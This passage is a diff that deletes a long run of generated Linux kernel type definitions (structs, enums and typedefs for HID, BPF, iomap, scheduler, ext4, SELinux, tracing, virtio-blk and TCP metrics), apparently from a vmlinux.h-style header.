-struct hid_parser { - struct hid_global global; - struct hid_global global_stack[4]; - unsigned int global_stack_ptr; - struct hid_local local; - unsigned int *collection_stack; - unsigned int collection_stack_ptr; - unsigned int collection_stack_size; - struct hid_device *device; - unsigned int scan_flags; -}; - -struct hiddev { - int minor; - int exist; - int open; - struct mutex existancelock; - wait_queue_head_t wait; - struct hid_device *hid; - struct list_head list; - spinlock_t list_lock; - bool initialized; -}; - -struct hidraw { - unsigned int minor; - int exist; - int open; - wait_queue_head_t wait; - struct hid_device *hid; - struct device *dev; - spinlock_t list_lock; - struct list_head list; -}; - -struct hid_dynid { - struct list_head list; - struct hid_device_id id; -}; - -struct xt_bpf_info { - __u16 bpf_program_num_elem; - struct sock_filter bpf_program[64]; - struct bpf_prog *filter; -}; - -enum xt_bpf_modes { - XT_BPF_MODE_BYTECODE = 0, - XT_BPF_MODE_FD_PINNED = 1, - XT_BPF_MODE_FD_ELF = 2, -}; - -struct xt_bpf_info_v1 { - __u16 mode; - __u16 bpf_program_num_elem; - __s32 fd; - union { - struct sock_filter bpf_program[64]; - char path[512]; - }; - struct bpf_prog *filter; -}; - -enum { - IFLA_VLAN_UNSPEC = 0, - IFLA_VLAN_ID = 1, - IFLA_VLAN_FLAGS = 2, - IFLA_VLAN_EGRESS_QOS = 3, - IFLA_VLAN_INGRESS_QOS = 4, - IFLA_VLAN_PROTOCOL = 5, - __IFLA_VLAN_MAX = 6, -}; - -struct ifla_vlan_flags { - __u32 flags; - __u32 mask; -}; - -enum { - IFLA_VLAN_QOS_UNSPEC = 0, - IFLA_VLAN_QOS_MAPPING = 1, - __IFLA_VLAN_QOS_MAX = 2, -}; - -struct ifla_vlan_qos_mapping { - __u32 from; - __u32 to; -}; - -enum energy_perf_value_index___2 { - EPB_INDEX_PERFORMANCE = 0, - EPB_INDEX_BALANCE_PERFORMANCE = 1, - EPB_INDEX_NORMAL = 2, - EPB_INDEX_BALANCE_POWERSAVE = 3, - EPB_INDEX_POWERSAVE = 4, -}; - -struct trace_event_raw_x86_exceptions { - struct trace_entry ent; - long unsigned int address; - long unsigned int ip; - long unsigned int error_code; - char __data[0]; -}; - -struct trace_event_data_offsets_x86_exceptions {}; - -typedef void (*btf_trace_page_fault_user)(void *, long unsigned int, struct pt_regs *, long unsigned int); - -typedef void (*btf_trace_page_fault_kernel)(void *, long unsigned int, struct pt_regs *, long unsigned int); - -enum bpf_lru_list_type { - BPF_LRU_LIST_T_ACTIVE = 0, - BPF_LRU_LIST_T_INACTIVE = 1, - BPF_LRU_LIST_T_FREE = 2, - BPF_LRU_LOCAL_LIST_T_FREE = 3, - BPF_LRU_LOCAL_LIST_T_PENDING = 4, -}; - -struct bpf_lpm_trie_key { - __u32 prefixlen; - __u8 data[0]; -}; - -struct lpm_trie_node { - struct callback_head rcu; - struct lpm_trie_node *child[2]; - u32 prefixlen; - u32 flags; - u8 data[0]; -}; - -struct lpm_trie { - struct bpf_map map; - struct lpm_trie_node *root; - size_t n_entries; - size_t max_prefixlen; - size_t data_size; - spinlock_t lock; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct folio_iter { - struct folio *folio; - size_t offset; - size_t length; - struct folio *_next; - size_t _seg_count; - int _i; -}; - -struct iomap_ioend { - struct list_head io_list; - u16 io_type; - u16 io_flags; - u32 io_folios; - struct inode *io_inode; - size_t io_size; - loff_t io_offset; - sector_t io_sector; - struct bio *io_bio; - struct bio io_inline_bio; -}; - -struct iomap_writepage_ctx; - -struct iomap_writeback_ops { - int (*map_blocks)(struct iomap_writepage_ctx *, struct inode *, loff_t); - int (*prepare_ioend)(struct iomap_ioend *, int); - void (*discard_folio)(struct folio *, loff_t); -}; - -struct iomap_writepage_ctx { - struct iomap iomap; - struct iomap_ioend *ioend; - const struct iomap_writeback_ops *ops; -}; - -struct iomap_page { - atomic_t read_bytes_pending; - atomic_t write_bytes_pending; - spinlock_t uptodate_lock; - long unsigned int uptodate[0]; -}; - -struct iomap_readpage_ctx { - struct folio *cur_folio; - bool cur_folio_in_bio; - struct bio *bio; - struct readahead_control *rac; -}; - -struct hd_geometry { - unsigned char heads; - unsigned char sectors; - short unsigned int cylinders; - long unsigned int start; -}; - -struct blkpg_ioctl_arg { - int op; - int flags; - int datalen; - void *data; -}; - -struct blkpg_partition { - long long int start; - long long int length; - int pno; - char devname[64]; - char volname[64]; -}; - -struct pr_reservation { - __u64 key; - __u32 type; - __u32 flags; -}; - -struct pr_registration { - __u64 old_key; - __u64 new_key; - __u32 flags; - __u32 __pad; -}; - -struct pr_preempt { - __u64 old_key; - __u64 new_key; - __u32 type; - __u32 flags; -}; - -struct pr_clear { - __u64 key; - __u32 flags; - __u32 __pad; -}; - -union nested_table { - union nested_table *table; - struct rhash_lock_head *bucket; -}; - -enum fault_flags { - FAULT_NOWARN = 1, -}; - -struct fb_cvt_data { - u32 xres; - u32 yres; - u32 refresh; - u32 f_refresh; - u32 pixclock; - u32 hperiod; - u32 hblank; - u32 hfreq; - u32 htotal; - u32 vtotal; - u32 vsync; - u32 hsync; - u32 h_front_porch; - u32 h_back_porch; - u32 v_front_porch; - u32 v_back_porch; - u32 h_margin; - u32 v_margin; - u32 interlace; - u32 aspect_ratio; - u32 active_pixels; - u32 flags; - u32 status; -}; - -struct iommu_group { - struct kobject kobj; - struct kobject *devices_kobj; - struct list_head devices; - struct mutex mutex; - void *iommu_data; - void (*iommu_data_release)(void *); - char *name; - int id; - struct iommu_domain *default_domain; - struct iommu_domain *blocking_domain; - struct iommu_domain *domain; - struct list_head entry; - unsigned int owner_cnt; - void *owner; -}; - -enum iommu_fault_type { - IOMMU_FAULT_DMA_UNRECOV = 1, - IOMMU_FAULT_PAGE_REQ = 2, -}; - -struct fsl_mc_obj_desc { - char type[16]; - int id; - u16 vendor; - u16 ver_major; - u16 ver_minor; - u8 irq_count; - u8 region_count; - u32 state; - char label[16]; - u16 flags; -}; - -struct fsl_mc_io; - -struct fsl_mc_device_irq; - -struct fsl_mc_resource; - -struct fsl_mc_device { - struct device dev; - u64 dma_mask; - u16 flags; - u32 icid; - u16 mc_handle; - struct fsl_mc_io *mc_io; - struct fsl_mc_obj_desc obj_desc; - struct resource *regions; - struct fsl_mc_device_irq **irqs; - struct fsl_mc_resource *resource; - struct device_link *consumer_link; - const char *driver_override; -}; - -enum fsl_mc_pool_type { - FSL_MC_POOL_DPMCP = 0, - FSL_MC_POOL_DPBP = 1, - FSL_MC_POOL_DPCON = 2, - FSL_MC_POOL_IRQ = 3, - FSL_MC_NUM_POOL_TYPES = 4, -}; - -struct fsl_mc_resource_pool; - -struct fsl_mc_resource { - enum fsl_mc_pool_type type; - s32 id; - void *data; - struct fsl_mc_resource_pool *parent_pool; - struct list_head node; -}; - -struct fsl_mc_device_irq { - unsigned int virq; - struct fsl_mc_device *mc_dev; - u8 dev_irq_index; - struct fsl_mc_resource resource; -}; - -struct fsl_mc_io { - struct device *dev; - u16 flags; - u32 portal_size; - phys_addr_t portal_phys_addr; - void *portal_virt_addr; - struct fsl_mc_device *dpmcp_dev; - union { - struct mutex mutex; - raw_spinlock_t spinlock; - }; -}; - -struct group_device { - struct list_head list; - struct device *dev; - char *name; -}; - -struct iommu_group_attribute { - struct attribute attr; - ssize_t (*show)(struct iommu_group *, char *); - ssize_t (*store)(struct iommu_group *, const char *, size_t); -}; - -struct group_for_pci_data { - struct pci_dev *pdev; - struct iommu_group *group; -}; - -struct __group_domain_type { - struct device *dev; - unsigned int type; -}; - -enum { - SCTP_CHUNK_FLAG_T = 1, -}; - -enum { - XFRM_LOOKUP_ICMP = 1, - XFRM_LOOKUP_QUEUE = 2, - XFRM_LOOKUP_KEEP_DST_REF = 4, -}; - -typedef void ip6_icmp_send_t(struct sk_buff *, u8, u8, __u32, const struct in6_addr *, const struct inet6_skb_parm *); - -struct icmpv6_msg { - struct sk_buff *skb; - int offset; - uint8_t type; -}; - -struct icmp6_err { - int err; - int fatal; -}; - -struct netlbl_domhsh_tbl { - struct list_head *tbl; - u32 size; -}; - -enum { - NLBL_CALIPSO_C_UNSPEC = 0, - NLBL_CALIPSO_C_ADD = 1, - NLBL_CALIPSO_C_REMOVE = 2, - NLBL_CALIPSO_C_LIST = 3, - NLBL_CALIPSO_C_LISTALL = 4, - __NLBL_CALIPSO_C_MAX = 5, -}; - -enum { - NLBL_CALIPSO_A_UNSPEC = 0, - NLBL_CALIPSO_A_DOI = 1, - NLBL_CALIPSO_A_MTYPE = 2, - __NLBL_CALIPSO_A_MAX = 3, -}; - -struct netlbl_calipso_doiwalk_arg { - struct netlink_callback *nl_cb; - struct sk_buff *skb; - u32 seq; -}; - -struct netlbl_domhsh_walk_arg { - struct netlbl_audit *audit_info; - u32 doi; -}; - -typedef u8 retpoline_thunk_t[32]; - -struct smp_alt_module { - struct module *mod; - char *name; - const s32 *locks; - const s32 *locks_end; - u8 *text; - u8 *text_end; - struct list_head next; -}; - -typedef struct { - struct mm_struct *mm; -} temp_mm_state_t; - -typedef void text_poke_f(void *, const void *, size_t); - -struct text_poke_loc { - s32 rel_addr; - s32 disp; - u8 len; - u8 opcode; - const u8 text[5]; - u8 old; -}; - -struct bp_patching_desc { - struct text_poke_loc *vec; - int nr_entries; - atomic_t refs; -}; - -struct numa_group { - refcount_t refcount; - spinlock_t lock; - int nr_tasks; - pid_t gid; - int active_nodes; - struct callback_head rcu; - long unsigned int total_faults; - long unsigned int max_faults_cpu; - long unsigned int faults[0]; -}; - -enum numa_faults_stats { - NUMA_MEM = 0, - NUMA_CPU = 1, - NUMA_MEMBUF = 2, - NUMA_CPUBUF = 3, -}; - -enum numa_type { - node_has_spare = 0, - node_fully_busy = 1, - node_overloaded = 2, -}; - -struct numa_stats { - long unsigned int load; - long unsigned int runnable; - long unsigned int util; - long unsigned int compute_capacity; - unsigned int nr_running; - unsigned int weight; - enum numa_type node_type; - int idle_cpu; -}; - -struct task_numa_env { - struct task_struct *p; - int src_cpu; - int src_nid; - int dst_cpu; - int dst_nid; - int imb_numa_nr; - struct numa_stats src_stats; - struct numa_stats dst_stats; - int imbalance_pct; - int dist; - struct task_struct *best_task; - long int best_imp; - int best_cpu; -}; - -struct energy_env { - long unsigned int task_busy_time; - long unsigned int pd_busy_time; - long unsigned int cpu_cap; - long unsigned int pd_cap; -}; - -enum fbq_type { - regular = 0, - remote = 1, - all = 2, -}; - -enum group_type { - group_has_spare = 0, - group_fully_busy = 1, - group_misfit_task = 2, - group_asym_packing = 3, - group_imbalanced = 4, - group_overloaded = 5, -}; - -enum migration_type { - migrate_load = 0, - migrate_util = 1, - migrate_task = 2, - migrate_misfit = 3, -}; - -struct lb_env { - struct sched_domain *sd; - struct rq *src_rq; - int src_cpu; - int dst_cpu; - struct rq *dst_rq; - struct cpumask *dst_grpmask; - int new_dst_cpu; - enum cpu_idle_type idle; - long int imbalance; - struct cpumask *cpus; - unsigned int flags; - unsigned int loop; - unsigned int loop_break; - unsigned int loop_max; - enum fbq_type fbq_type; - enum migration_type migration_type; - struct list_head tasks; -}; - -struct sg_lb_stats { - long unsigned int avg_load; - long unsigned int group_load; - long unsigned int group_capacity; - long unsigned int group_util; - long unsigned int group_runnable; - unsigned int sum_nr_running; - unsigned int sum_h_nr_running; - unsigned int idle_cpus; - unsigned int group_weight; - enum group_type group_type; - unsigned int group_asym_packing; - long unsigned int group_misfit_task_load; - unsigned int nr_numa_running; - unsigned int nr_preferred_running; -}; - -struct sd_lb_stats { - struct sched_group *busiest; - struct sched_group *local; - long unsigned int total_load; - long unsigned int total_capacity; - long unsigned int avg_load; - unsigned int prefer_sibling; - struct sg_lb_stats busiest_stat; - struct sg_lb_stats local_stat; -}; - -struct fstrim_range { - __u64 start; - __u64 len; - __u64 minlen; -}; - -struct ext4_free_data { - struct list_head efd_list; - struct rb_node efd_node; - ext4_group_t efd_group; - ext4_grpblk_t efd_start_cluster; - ext4_grpblk_t efd_count; - tid_t efd_tid; -}; - -enum { - MB_INODE_PA = 0, - MB_GROUP_PA = 1, -}; - -struct ext4_buddy { - struct page *bd_buddy_page; - void *bd_buddy; - struct page *bd_bitmap_page; - void *bd_bitmap; - struct ext4_group_info *bd_info; - struct super_block *bd_sb; - __u16 bd_blkbits; - ext4_group_t bd_group; -}; - -struct sg { - struct ext4_group_info info; - ext4_grpblk_t counters[18]; -}; - -struct blk_ia_range_sysfs_entry { - struct attribute attr; - ssize_t (*show)(struct blk_independent_access_range *, char *); -}; - -struct genradix_iter { - size_t offset; - size_t pos; -}; - -struct genradix_node { - union { - struct genradix_node *children[512]; - u8 data[4096]; - }; -}; - -enum { - AML_FIELD_ATTRIB_QUICK = 2, - AML_FIELD_ATTRIB_SEND_RECEIVE = 4, - AML_FIELD_ATTRIB_BYTE = 6, - AML_FIELD_ATTRIB_WORD = 8, - AML_FIELD_ATTRIB_BLOCK = 10, - AML_FIELD_ATTRIB_BYTES = 11, - AML_FIELD_ATTRIB_PROCESS_CALL = 12, - AML_FIELD_ATTRIB_BLOCK_PROCESS_CALL = 13, - AML_FIELD_ATTRIB_RAW_BYTES = 14, - AML_FIELD_ATTRIB_RAW_PROCESS_BYTES = 15, -}; - -typedef struct { - u32 version; - u32 num_entries; - u32 desc_size; - u32 reserved; - efi_memory_desc_t entry[0]; -} efi_memory_attributes_table_t; - -struct dst_cache_pcpu { - long unsigned int refresh_ts; - struct dst_entry *dst; - u32 cookie; - union { - struct in_addr in_saddr; - struct in6_addr in6_saddr; - }; -}; - -struct eee_reply_data { - struct ethnl_reply_data base; - struct ethtool_eee eee; -}; - -struct ipt_icmp { - __u8 type; - __u8 code[2]; - __u8 invflags; -}; - -struct ipt_getinfo { - char name[32]; - unsigned int valid_hooks; - unsigned int hook_entry[5]; - unsigned int underflow[5]; - unsigned int num_entries; - unsigned int size; -}; - -struct ipt_get_entries { - char name[32]; - unsigned int size; - struct ipt_entry entrytable[0]; -}; - -struct ipt_error { - struct ipt_entry entry; - struct xt_error_target target; -}; - -struct linger { - int l_onoff; - int l_linger; -}; - -struct so_timestamping { - int flags; - int bind_phc; -}; - -struct mptcp_subflow_data { - __u32 size_subflow_data; - __u32 num_subflows; - __u32 size_kernel; - __u32 size_user; -}; - -struct mptcp_subflow_addrs { - union { - __kernel_sa_family_t sa_family; - struct sockaddr sa_local; - struct sockaddr_in sin_local; - struct sockaddr_in6 sin6_local; - struct __kernel_sockaddr_storage ss_local; - }; - union { - struct sockaddr sa_remote; - struct sockaddr_in sin_remote; - struct sockaddr_in6 sin6_remote; - struct __kernel_sockaddr_storage ss_remote; - }; -}; - -struct irq_devres { - unsigned int irq; - void *dev_id; -}; - -struct irq_desc_devres { - unsigned int from; - unsigned int cnt; -}; - -struct module_use { - struct list_head source_list; - struct list_head target_list; - struct module *source; - struct module *target; -}; - -struct trace_event_raw_module_load { - struct trace_entry ent; - unsigned int taints; - u32 __data_loc_name; - char __data[0]; -}; - -struct trace_event_raw_module_free { - struct trace_entry ent; - u32 __data_loc_name; - char __data[0]; -}; - -struct trace_event_raw_module_refcnt { - struct trace_entry ent; - long unsigned int ip; - int refcnt; - u32 __data_loc_name; - char __data[0]; -}; - -struct trace_event_raw_module_request { - struct trace_entry ent; - long unsigned int ip; - bool wait; - u32 __data_loc_name; - char __data[0]; -}; - -struct trace_event_data_offsets_module_load { - u32 name; -}; - -struct trace_event_data_offsets_module_free { - u32 name; -}; - -struct trace_event_data_offsets_module_refcnt { - u32 name; -}; - -struct trace_event_data_offsets_module_request { - u32 name; -}; - -typedef void (*btf_trace_module_load)(void *, struct module *); - -typedef void (*btf_trace_module_free)(void *, struct module *); - -typedef void (*btf_trace_module_get)(void *, struct module *, long unsigned int); - -typedef void (*btf_trace_module_put)(void *, struct module *, long unsigned int); - -typedef void (*btf_trace_module_request)(void *, char *, bool, long unsigned int); - -struct symsearch { - const struct kernel_symbol *start; - const struct kernel_symbol *stop; - const s32 *crcs; - enum mod_license license; -}; - -struct mod_initfree { - struct llist_node node; - void *module_init; -}; - -struct avc_cache { - struct hlist_head slots[512]; - spinlock_t slots_lock[512]; - atomic_t lru_hint; - atomic_t active_nodes; - u32 latest_notif; -}; - -struct selinux_avc { - unsigned int avc_cache_threshold; - struct avc_cache avc_cache; -}; - -struct avc_cache_stats { - unsigned int lookups; - unsigned int misses; - unsigned int allocations; - unsigned int reclaims; - unsigned int frees; -}; - -struct trace_event_raw_selinux_audited { - struct trace_entry ent; - u32 requested; - u32 denied; - u32 audited; - int result; - u32 __data_loc_scontext; - u32 __data_loc_tcontext; - u32 __data_loc_tclass; - char __data[0]; -}; - -struct trace_event_data_offsets_selinux_audited { - u32 scontext; - u32 tcontext; - u32 tclass; -}; - -typedef void (*btf_trace_selinux_audited)(void *, struct selinux_audit_data *, char *, char *, const char *); - -struct avc_xperms_node; - -struct avc_entry { - u32 ssid; - u32 tsid; - u16 tclass; - struct av_decision avd; - struct avc_xperms_node *xp_node; -}; - -struct avc_xperms_node { - struct extended_perms xp; - struct list_head xpd_head; -}; - -struct avc_node { - struct avc_entry ae; - struct hlist_node list; - struct callback_head rhead; -}; - -struct avc_xperms_decision_node { - struct extended_perms_decision xpd; - struct list_head xpd_list; -}; - -struct avc_callback_node { - int (*callback)(u32); - u32 events; - struct avc_callback_node *next; -}; - -enum rc_filter_type { - RC_FILTER_NORMAL = 0, - RC_FILTER_WAKEUP = 1, - RC_FILTER_MAX = 2, -}; - -enum led_brightness { - LED_OFF = 0, - LED_ON = 1, - LED_HALF = 127, - LED_FULL = 255, -}; - -struct led_trigger {}; - -struct rc_filter_attribute { - struct device_attribute attr; - enum rc_filter_type type; - bool mask; -}; - -enum { - ETHTOOL_A_FEC_STAT_UNSPEC = 0, - ETHTOOL_A_FEC_STAT_PAD = 1, - ETHTOOL_A_FEC_STAT_CORRECTED = 2, - ETHTOOL_A_FEC_STAT_UNCORR = 3, - ETHTOOL_A_FEC_STAT_CORR_BITS = 4, - __ETHTOOL_A_FEC_STAT_CNT = 5, - ETHTOOL_A_FEC_STAT_MAX = 4, -}; - -struct fec_stat_grp { - u64 stats[9]; - u8 cnt; -}; - -struct fec_reply_data { - struct ethnl_reply_data base; - long unsigned int fec_link_modes[2]; - u32 active_fec; - u8 fec_auto; - struct fec_stat_grp corr; - struct fec_stat_grp uncorr; - struct fec_stat_grp corr_bits; -}; - -enum { - IFLA_INET_UNSPEC = 0, - IFLA_INET_CONF = 1, - __IFLA_INET_MAX = 2, -}; - -struct in_validator_info { - __be32 ivi_addr; - struct in_device *ivi_dev; - struct netlink_ext_ack *extack; -}; - -struct inet_fill_args { - u32 portid; - u32 seq; - int event; - unsigned int flags; - int netnsid; - int ifindex; -}; - -struct devinet_sysctl_table { - struct ctl_table_header *sysctl_header; - struct ctl_table devinet_vars[34]; -}; - -struct xfrm_if_decode_session_result { - struct net *net; - u32 if_id; -}; - -struct xfrm_if_cb { - bool (*decode_session)(struct sk_buff *, short unsigned int, struct xfrm_if_decode_session_result *); -}; - -struct xfrm_flo { - struct dst_entry *dst_orig; - u8 flags; -}; - -struct xfrm_pol_inexact_node { - struct rb_node node; - union { - xfrm_address_t addr; - struct callback_head rcu; - }; - u8 prefixlen; - struct rb_root root; - struct hlist_head hhead; -}; - -struct xfrm_pol_inexact_key { - possible_net_t net; - u32 if_id; - u16 family; - u8 dir; - u8 type; -}; - -struct xfrm_pol_inexact_bin { - struct xfrm_pol_inexact_key k; - struct rhash_head head; - struct hlist_head hhead; - seqcount_spinlock_t count; - struct rb_root root_d; - struct rb_root root_s; - struct list_head inexact_bins; - struct callback_head rcu; -}; - -enum xfrm_pol_inexact_candidate_type { - XFRM_POL_CAND_BOTH = 0, - XFRM_POL_CAND_SADDR = 1, - XFRM_POL_CAND_DADDR = 2, - XFRM_POL_CAND_ANY = 3, - XFRM_POL_CAND_MAX = 4, -}; - -struct xfrm_pol_inexact_candidates { - struct hlist_head *res[4]; -}; - -enum { - HW_BREAKPOINT_LEN_1 = 1, - HW_BREAKPOINT_LEN_2 = 2, - HW_BREAKPOINT_LEN_3 = 3, - HW_BREAKPOINT_LEN_4 = 4, - HW_BREAKPOINT_LEN_5 = 5, - HW_BREAKPOINT_LEN_6 = 6, - HW_BREAKPOINT_LEN_7 = 7, - HW_BREAKPOINT_LEN_8 = 8, -}; - -enum smca_bank_types { - SMCA_LS = 0, - SMCA_LS_V2 = 1, - SMCA_IF = 2, - SMCA_L2_CACHE = 3, - SMCA_DE = 4, - SMCA_RESERVED = 5, - SMCA_EX = 6, - SMCA_FP = 7, - SMCA_L3_CACHE = 8, - SMCA_CS = 9, - SMCA_CS_V2 = 10, - SMCA_PIE = 11, - SMCA_UMC = 12, - SMCA_UMC_V2 = 13, - SMCA_PB = 14, - SMCA_PSP = 15, - SMCA_PSP_V2 = 16, - SMCA_SMU = 17, - SMCA_SMU_V2 = 18, - SMCA_MP5 = 19, - SMCA_MPDMA = 20, - SMCA_NBIO = 21, - SMCA_PCIE = 22, - SMCA_PCIE_V2 = 23, - SMCA_XGMI_PCS = 24, - SMCA_NBIF = 25, - SMCA_SHUB = 26, - SMCA_SATA = 27, - SMCA_USB = 28, - SMCA_GMI_PCS = 29, - SMCA_XGMI_PHY = 30, - SMCA_WAFL_PHY = 31, - SMCA_GMI_PHY = 32, - N_SMCA_BANK_TYPES = 33, -}; - -enum mca_msr { - MCA_CTL = 0, - MCA_STATUS = 1, - MCA_ADDR = 2, - MCA_MISC = 3, -}; - -struct smca_hwid { - unsigned int bank_type; - u32 hwid_mcatype; -}; - -struct smca_bank { - const struct smca_hwid *hwid; - u32 id; - u8 sysfs_id; -}; - -struct smca_bank_name { - const char *name; - const char *long_name; -}; - -struct thresh_restart { - struct threshold_block *b; - int reset; - int set_lvt_off; - int lvt_off; - u16 old_limit; -}; - -struct threshold_attr { - struct attribute attr; - ssize_t (*show)(struct threshold_block *, char *); - ssize_t (*store)(struct threshold_block *, const char *, size_t); -}; - -struct module_sect_attr { - struct bin_attribute battr; - long unsigned int address; -}; - -struct module_sect_attrs { - struct attribute_group grp; - unsigned int nsections; - struct module_sect_attr attrs[0]; -}; - -struct module_notes_attrs { - struct kobject *dir; - unsigned int notes; - struct bin_attribute attrs[0]; -}; - -enum ring_buffer_flags { - RB_FL_OVERWRITE = 1, -}; - -struct trace_export { - struct trace_export *next; - void (*write)(struct trace_export *, const void *, unsigned int); - int flags; -}; - -typedef bool (*cond_update_fn_t)(struct trace_array *, void *); - -struct trace_min_max_param { - struct mutex *lock; - u64 *val; - u64 *min; - u64 *max; -}; - -struct saved_cmdlines_buffer { - unsigned int map_pid_to_cmdline[32769]; - unsigned int *map_cmdline_to_pid; - unsigned int cmdline_num; - int cmdline_idx; - char *saved_cmdlines; -}; - -struct ftrace_stack { - long unsigned int calls[1024]; -}; - -struct ftrace_stacks { - struct ftrace_stack stacks[4]; -}; - -struct trace_buffer_struct { - int nesting; - char buffer[4096]; -}; - -struct ftrace_buffer_info { - struct trace_iterator iter; - void *spare; - unsigned int spare_cpu; - unsigned int read; -}; - -struct err_info { - const char **errs; - u8 type; - u16 pos; - u64 ts; -}; - -struct tracing_log_err { - struct list_head list; - struct err_info info; - char loc[128]; - char *cmd; -}; - -struct buffer_ref { - struct trace_buffer *buffer; - void *page; - int cpu; - refcount_t refcount; -}; - -struct hmac_ctx { - struct crypto_shash *hash; -}; - -struct reciprocal_value_adv { - u32 m; - u8 sh; - u8 exp; - bool is_wide_m; -}; - -union uu { - short unsigned int us; - unsigned char b[2]; -}; - -typedef unsigned int FSE_DTable; - -typedef struct { - size_t state; - const void *table; -} FSE_DState_t; - -typedef struct { - U16 tableLog; - U16 fastMode; -} FSE_DTableHeader; - -typedef struct { - short unsigned int newState; - unsigned char symbol; - unsigned char nbBits; -} FSE_decode_t; - -typedef struct { - short int ncount[256]; - FSE_DTable dtable[1]; -} FSE_DecompressWksp; - -struct acpi_tpm2_phy { - u8 start_method_specific[12]; - u32 log_area_minimum_length; - u64 log_area_start_address; -}; - -enum bios_platform_class { - BIOS_CLIENT = 0, - BIOS_SERVER = 1, -}; - -struct client_hdr { - u32 log_max_len; - u64 log_start_addr; -} __attribute__((packed)); - -struct server_hdr { - u16 reserved; - u64 log_max_len; - u64 log_start_addr; -} __attribute__((packed)); - -struct acpi_tcpa { - struct acpi_table_header hdr; - u16 platform_class; - union { - struct client_hdr client; - struct server_hdr server; - }; -}; - -struct virtio_blk_geometry { - __virtio16 cylinders; - __u8 heads; - __u8 sectors; -}; - -struct virtio_blk_config { - __virtio64 capacity; - __virtio32 size_max; - __virtio32 seg_max; - struct virtio_blk_geometry geometry; - __virtio32 blk_size; - __u8 physical_block_exp; - __u8 alignment_offset; - __virtio16 min_io_size; - __virtio32 opt_io_size; - __u8 wce; - __u8 unused; - __virtio16 num_queues; - __virtio32 max_discard_sectors; - __virtio32 max_discard_seg; - __virtio32 discard_sector_alignment; - __virtio32 max_write_zeroes_sectors; - __virtio32 max_write_zeroes_seg; - __u8 write_zeroes_may_unmap; - __u8 unused1[3]; - __virtio32 max_secure_erase_sectors; - __virtio32 max_secure_erase_seg; - __virtio32 secure_erase_sector_alignment; -}; - -struct virtio_blk_outhdr { - __virtio32 type; - __virtio32 ioprio; - __virtio64 sector; -}; - -struct virtio_blk_discard_write_zeroes { - __le64 sector; - __le32 num_sectors; - __le32 flags; -}; - -struct virtio_blk_vq { - struct virtqueue *vq; - spinlock_t lock; - char name[16]; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct virtio_blk { - struct mutex vdev_mutex; - struct virtio_device *vdev; - struct gendisk *disk; - struct blk_mq_tag_set tag_set; - struct work_struct config_work; - int index; - int num_vqs; - int io_queues[3]; - struct virtio_blk_vq *vqs; -}; - -struct virtblk_req { - struct virtio_blk_outhdr out_hdr; - u8 status; - struct sg_table sg_table; - struct scatterlist sg[0]; -}; - -struct fib_notifier_net { - struct list_head fib_notifier_ops; - struct atomic_notifier_head fib_chain; -}; - -enum { - ETHTOOL_A_BITSET_BIT_UNSPEC = 0, - ETHTOOL_A_BITSET_BIT_INDEX = 1, - ETHTOOL_A_BITSET_BIT_NAME = 2, - ETHTOOL_A_BITSET_BIT_VALUE = 3, - __ETHTOOL_A_BITSET_BIT_CNT = 4, - ETHTOOL_A_BITSET_BIT_MAX = 3, -}; - -enum { - ETHTOOL_A_BITSET_BITS_UNSPEC = 0, - ETHTOOL_A_BITSET_BITS_BIT = 1, - __ETHTOOL_A_BITSET_BITS_CNT = 2, - ETHTOOL_A_BITSET_BITS_MAX = 1, -}; - -enum { - ETHTOOL_A_BITSET_UNSPEC = 0, - ETHTOOL_A_BITSET_NOMASK = 1, - ETHTOOL_A_BITSET_SIZE = 2, - ETHTOOL_A_BITSET_BITS = 3, - ETHTOOL_A_BITSET_VALUE = 4, - ETHTOOL_A_BITSET_MASK = 5, - __ETHTOOL_A_BITSET_CNT = 6, - ETHTOOL_A_BITSET_MAX = 5, -}; - -enum tcp_metric_index { - TCP_METRIC_RTT = 0, - TCP_METRIC_RTTVAR = 1, - TCP_METRIC_SSTHRESH = 2, - TCP_METRIC_CWND = 3, - TCP_METRIC_REORDERING = 4, - TCP_METRIC_RTT_US = 5, - TCP_METRIC_RTTVAR_US = 6, - __TCP_METRIC_MAX = 7, -}; - -enum { - TCP_METRICS_ATTR_UNSPEC = 0, - TCP_METRICS_ATTR_ADDR_IPV4 = 1, - TCP_METRICS_ATTR_ADDR_IPV6 = 2, - TCP_METRICS_ATTR_AGE = 3, - TCP_METRICS_ATTR_TW_TSVAL = 4, - TCP_METRICS_ATTR_TW_TS_STAMP = 5, - TCP_METRICS_ATTR_VALS = 6, - TCP_METRICS_ATTR_FOPEN_MSS = 7, - TCP_METRICS_ATTR_FOPEN_SYN_DROPS = 8, - TCP_METRICS_ATTR_FOPEN_SYN_DROP_TS = 9, - TCP_METRICS_ATTR_FOPEN_COOKIE = 10, - TCP_METRICS_ATTR_SADDR_IPV4 = 11, - TCP_METRICS_ATTR_SADDR_IPV6 = 12, - TCP_METRICS_ATTR_PAD = 13, - __TCP_METRICS_ATTR_MAX = 14, -}; - -enum { - TCP_METRICS_CMD_UNSPEC = 0, - TCP_METRICS_CMD_GET = 1, - TCP_METRICS_CMD_DEL = 2, - __TCP_METRICS_CMD_MAX = 3, -}; - -struct tcp_fastopen_metrics { - u16 mss; - u16 syn_loss: 10; - u16 try_exp: 2; - long unsigned int last_syn_loss; - struct tcp_fastopen_cookie cookie; -}; - -struct tcp_metrics_block { - struct tcp_metrics_block *tcpm_next; - possible_net_t tcpm_net; - struct inetpeer_addr tcpm_saddr; - struct inetpeer_addr tcpm_daddr; - long unsigned int tcpm_stamp; - u32 tcpm_lock; - u32 tcpm_vals[5]; - struct tcp_fastopen_metrics tcpm_fastopen; - struct callback_head callback_head; -}; - -struct tcpm_hash_bucket { - struct tcp_metrics_block *chain; -}; - -typedef u64 (*btf_bpf_tcp_send_ack)(struct tcp_sock *, u32); - -struct cyc2ns { - struct cyc2ns_data data[2]; - seqcount_latch_t seq; -}; - -enum blktrace_notify { - __BLK_TN_PROCESS = 0, - __BLK_TN_TIMESTAMP = 1, - __BLK_TN_MESSAGE = 2, - __BLK_TN_CGROUP = 256, -}; - -struct blk_io_trace { - __u32 magic; - __u32 sequence; - __u64 time; - __u64 sector; - __u32 bytes; - __u32 action; - __u32 pid; - __u32 device; - __u32 cpu; - __u16 error; - __u16 pdu_len; -}; - -struct blk_io_trace_remap { - __be32 device_from; - __be32 device_to; - __be64 sector_from; -}; - -enum { - Blktrace_setup = 1, - Blktrace_running = 2, - Blktrace_stopped = 3, -}; - -struct blk_user_trace_setup { - char name[32]; - __u16 act_mask; - __u32 buf_size; - __u32 buf_nr; - __u64 start_lba; - __u64 end_lba; - __u32 pid; -}; - 